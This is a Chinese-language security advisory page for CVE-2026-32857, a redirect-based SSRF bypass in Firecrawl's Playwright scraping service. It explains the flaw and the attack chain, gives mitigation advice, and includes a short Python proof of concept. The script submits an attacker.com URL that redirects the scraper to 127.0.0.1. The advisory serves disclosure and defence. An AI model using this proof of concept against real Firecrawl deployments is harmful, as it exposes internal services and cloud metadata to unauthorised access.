IPBUF安全漏洞报告
English
CVE-2026-32857 CVSS 8.6 高危

CVE-2026-32857 Firecrawl SSRF保护绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-32857
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Firecrawl

相关标签

SSRFFirecrawl高危重定向绕过

漏洞概述

Firecrawl 2.8.0及之前版本的Playwright抓取服务中存在SSRF保护绕过漏洞。其网络策略验证仅针对用户提供的初始URL,未覆盖后续的重定向目标。攻击者可利用通过验证的外部URL发起HTTP重定向指向内部资源,由于浏览器跟随重定向时缺乏再验证机制,导致最终目标被访问。这使得攻击者能够绕过SSRF防护,非法访问内部网络服务及敏感端点。

技术细节

该漏洞源于Firecrawl在实现SSRF防御时的逻辑缺陷。系统仅对用户提交的第一层URL进行安全校验(如检查是否为内网地址),但在Playwright处理HTTP 301/302重定向响应时,未对Location头中的目标地址执行二次校验。攻击者可构建一个合法的外部URL,该URL由攻击者控制并配置为向内网敏感资源(如http://127.0.0.1/admin或云元数据服务)重定向。当Firecrawl处理请求时,初始请求通过验证,随后浏览器自动跟随重定向请求内网地址,从而成功绕过SSRF限制,实现对内网服务的探测或数据窃取。

攻击链分析

STEP 1
步骤1:准备重定向服务
攻击者搭建一个外部恶意服务器,配置其对特定请求返回HTTP 302重定向响应,目标指向内网敏感资源(如127.0.0.1)。
STEP 2
步骤2:提交初始请求
攻击者向Firecrawl服务发送抓取请求,URL参数填入攻击者控制的外部服务器地址。
STEP 3
步骤3:初始验证通过
Firecrawl验证初始URL为合法的外部地址,未触发SSRF拦截机制,允许Playwright发起请求。
STEP 4
步骤4:跟随重定向
Playwright接收到外部服务器的重定向响应,自动跟随Location头指向的内网地址。
STEP 5
步骤5:绕过防护访问内网
由于未对重定向后的地址进行二次验证,Playwright成功请求内网资源,导致数据泄露或服务被攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_api = "http://localhost:3002/v1/scrape" attacker_controlled_url = "https://attacker.com/redirect_to_internal" # Payload pointing to the redirector payload = { "url": attacker_controlled_url } # Send request to Firecrawl # The attacker's server (attacker.com) will respond with 302 Location: http://127.0.0.1:8080 # Firecrawl validates attacker.com (valid), then follows redirect to 127.0.0.1 without validation try: response = requests.post(target_api, json=payload) print("Status Code:", response.status_code) print("Response:", response.text) except Exception as e: print(f"Error: {e}")

影响范围

Firecrawl <= 2.8.0

防御指南

临时缓解措施
建议立即升级Firecrawl到修复版本。若暂无法升级,应在防火墙或网络ACL层面严格限制该服务的出站连接,禁止访问RFC 1918定义的内网地址及本地回环地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表